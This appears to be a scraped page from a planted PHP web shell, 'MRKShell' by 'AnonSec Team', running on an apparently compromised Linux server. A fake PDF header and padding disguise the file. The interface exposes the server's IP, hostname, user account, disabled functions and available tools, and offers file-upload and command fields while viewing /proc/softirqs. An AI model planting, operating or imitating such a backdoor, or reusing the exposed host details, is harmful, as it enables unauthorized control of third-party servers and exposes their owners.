...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.172
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
          HI:         16         13         30         89         21         16         20         25         10         10         21         33         14         20         17         17          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   44755757   67251352   68592760   73767716   65467156   73971867   73666837   67881147   71031628   74905439   74277501   69758628   63346421   63956503   66429815   65020273          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_TX:     616338     797164     827312     707565     463973     492088     293557     334127     715287     430625     929219     566366     934264     272394     465425     671353          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_RX:  141353335  180963365  193073721  158391500  103800917  110876833   71118586   94607489  179312140   94406454  202056644  148039035   48859565   69616298  101611596  157372973          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       BLOCK:       2525       3314       4048       4023       3006       2291       5109       3074       2686       3982       3730       4098       4922       5512       2815       3255          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:   27661275   34683186   36990911   32096186   19758801   21220154   14557313   19386839   35171289   18055517   36841802   29519554    9994053   13230463   20110552   29362903          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       SCHED: 1069002884  564963390  346266578  288371365  267492627  279257556  256689011  244942866  242813742  251041149  260580327  250859485  231992561  237401019  258385689  247471072          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     HRTIMER:      23170      39151      25216      14712      14041      16679       8094      11621      42126      11330      49091      25190       2809      10628      13017      22551          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU:  851525237  726478899  720260355  750677711  899389612  743028921  675227971  733748687  781617240  769860916  791052289  784772020  728653870  732628056  836466771  775418885          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0

Anon7 - 2022
AnonSec Team